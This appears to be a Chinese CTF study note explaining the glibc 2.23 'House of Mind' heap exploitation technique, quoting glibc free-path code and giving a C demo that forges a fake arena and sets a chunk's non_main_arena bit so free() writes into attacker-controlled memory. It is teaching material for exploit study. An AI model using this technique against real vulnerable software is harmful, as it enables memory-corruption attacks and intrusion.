IS-pwn-Linux-glibc-house-of-mind

glibc-2.23

伪造一个fake_arena,然后不断增加brk的值来扩展堆段,再修改chunknon_main_arena标志位.

这样freechunk的时候,这块fastbin chunk就会进入fake_arenafast bin中了.

1
2
3
//__libc_free前置工作
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);

宏实现.

1
2
3
4
5
6
7
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
//sub_heap的内存块使用mmap函数分配,并以4k对齐,所以可以根据chunk的地址获得所属的sub_heap的地址
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
//heap_info实例中保存了分配区指针,所以可以通过chunk的地址获得分配区的地址,前提是这个chunk属于非主分配区.
//HEAP_MAX_SIZE在32位系统上默认值为1MB,64位为64MB

_int_free处理.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//前面是关于被释放chunk的处理
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top)
//check1,av->top置0即可
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) {
//check2,av->system_mem置一个较大值
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do {
if (__builtin_expect (old == p, 0)) {
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
} while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
//使用lock-free技术实现fastbin的单向链表插入操作
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0)) {
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

触发漏洞demo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
size_t * fake_arena = malloc(0x1000);

fake_arena[0x888/sizeof(size_t)] = 0xffffff;
//system_mem offset 0x888,绕过第一个check

size_t * fake_heap_info = (size_t *)((size_t)(fake_arena - 0x10 + 0x4000000) & ~(0x4000000 - 1));
size_t * user_mem = malloc(127 * 1024);
//申请128*1024的话就会调用mmap函数从mmap映射区域分配内存
while(user_mem < fake_heap_info) {
user_mem = malloc(127 * 1024);
};
//使heap_for_ptr(victim)落在fake_heap_info上

fake_heap_info[0] = (size_t) fake_arena;
//Setting the fake ar_ptr

size_t * victim = malloc(0x8);
victim[-1] = 0x20 | 0x4;
//Setting the non_main_arena bit

free(victim);
//*(&fake_arena + 0x10) = victim

size_t * target = (size_t *)((long)fake_arena + 0x10);
assert(*target != 0);
}

实际上是一个类似unsorted_bin attack的攻击.

0%
;